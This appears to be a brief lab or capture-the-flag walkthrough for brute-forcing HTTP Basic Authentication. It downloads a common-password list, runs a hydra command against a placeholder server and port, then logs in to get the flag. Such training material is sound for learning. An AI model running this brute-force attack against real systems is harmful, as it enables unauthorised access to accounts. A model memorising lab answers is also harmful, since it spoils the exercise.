Basic Authentication
After successfully brute-forcing, and then logging into the target, what is the full flag you find?
Getting the flag:
Step 1 - Download a password wordlist:
curl -s -O https://raw.githubusercontent.com/danielmiessler/SecLists/refs/heads/master/Passwords/Common-Credentials/2023-200_most_used_passwords.txt
Step 2 - Execute the command:
hydra -l basic-auth-user -P 2023-200_most_used_passwords.txt SERVER_IP http-get / -s SERVER_PORT
Step 3 - Login into the application:
Login with the founded credentials.
Last updated